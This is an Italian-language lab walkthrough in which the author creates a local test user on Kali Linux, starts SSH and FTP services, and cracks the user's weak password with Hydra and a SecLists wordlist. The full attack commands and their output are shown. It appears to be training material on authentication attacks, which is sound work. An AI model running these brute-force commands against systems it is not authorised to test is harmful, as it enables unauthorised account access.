AUTHENTICATION CRACKING CON HYDRA

Creazione nuovo utente su Kali Linux

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
warn: The home directory `/home/test_user' already exists.  Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

┌──(kali㉿kali)-[~]
└─$
```

Configurazione del servizio SSH

```
┌──(kali㉿kali)-[~]
└─$ sudo service ssh start
```

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.1.101
The authenticity of host '192.168.1.101 (192.168.1.101)' can't be established.
ED25519 key fingerprint is SHA256:gP7ySPEJjsZhythoA+/ZoEQu64mwY/RVAaTgdhfBWls.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.101' (ED25519) to the list of known hosts.
test_user@192.168.1.101's password:
Linux kali 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$
```

Download wordlist che utilizzeremo con Hydra

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install seclists
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  seclists
0 upgraded, 1 newly installed, 0 to remove and 5 not upgraded.
Need to get 431 MB of archives.
After this operation, 1,756 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2023.3-0kali1 [431 MB]
Fetched 431 MB in 3min 41s (1,950 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 425296 files and directories currently installed.)
Preparing to unpack .../seclists_2023.3-0kali1_all.deb ...
Unpacking seclists (2023.3-0kali1) ...
Setting up seclists (2023.3-0kali1) ...
Processing triggers for kali-menu (2023.4.5) ...
Processing triggers for wordlists (2023.2.0) ...
```

Cracking delle credenziali dell'utente *test_user* tramite il tool Hydra

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt 192.168.1.101 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-bindi
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-16 06:29:25
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task
[DATA] attacking ssh://192.168.1.101:22/
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "123456" - 1 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "password" - 2 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "12345678" - 3 of 10000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "qwerty" - 4 of 10000 [child 3] (0/0)
```

```
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "asdfghjkl" - 328 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "1212" - 329 of 10000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "sierra" - 330 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "peaches" - 331 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "gemini" - 332 of 10000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "doctor" - 333 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "wilson" - 334 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "sandra" - 335 of 10000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "helpme" - 336 of 10000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "qwertyui" - 337 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "victor" - 338 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "florida" - 339 of 10000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "dolphin" - 340 of 10000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "testpass" - 341 of 10000 [child 0] (0/0)
[22][ssh] host: 192.168.1.101   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-16 06:42:40
```

Installazione del demone *vsftpd* così da poter utilizzare il servizio FTP

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install vsftpd
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 5 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 1s (113 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 430849 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.5) ...
```

Avvio del servizio FTP

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start
```

Nel file di configurazione è disabilitata di default l'opzione *anonymous login*

Testi di connessione

```
┌──(kali㉿kali)-[~]
└─$ ftp test_user@192.168.1.101
Connected to 192.168.1.101.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> _
```

Cracking delle credenziali dell'utente *test_user* tramite il tool Hydra

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt 192.168.1.101 -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-16 08:50:38
[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task
[DATA] attacking ftp://192.168.1.101:21/
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "123456" - 1 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "password" - 2 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "12345678" - 3 of 10000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "wilson" - 334 of 10000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "sandra" - 335 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "helpme" - 336 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "qwertyui" - 337 of 10000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "victor" - 338 of 10000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "florida" - 339 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "dolphin" - 340 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "testpass" - 341 of 10000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "pookie" - 342 of 10000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "captain" - 343 of 10000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.101 - login "test_user" - pass "tucker" - 344 of 10000 [child 0] (0/0)
[21][ftp] host: 192.168.1.101   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-16 08:55:26
```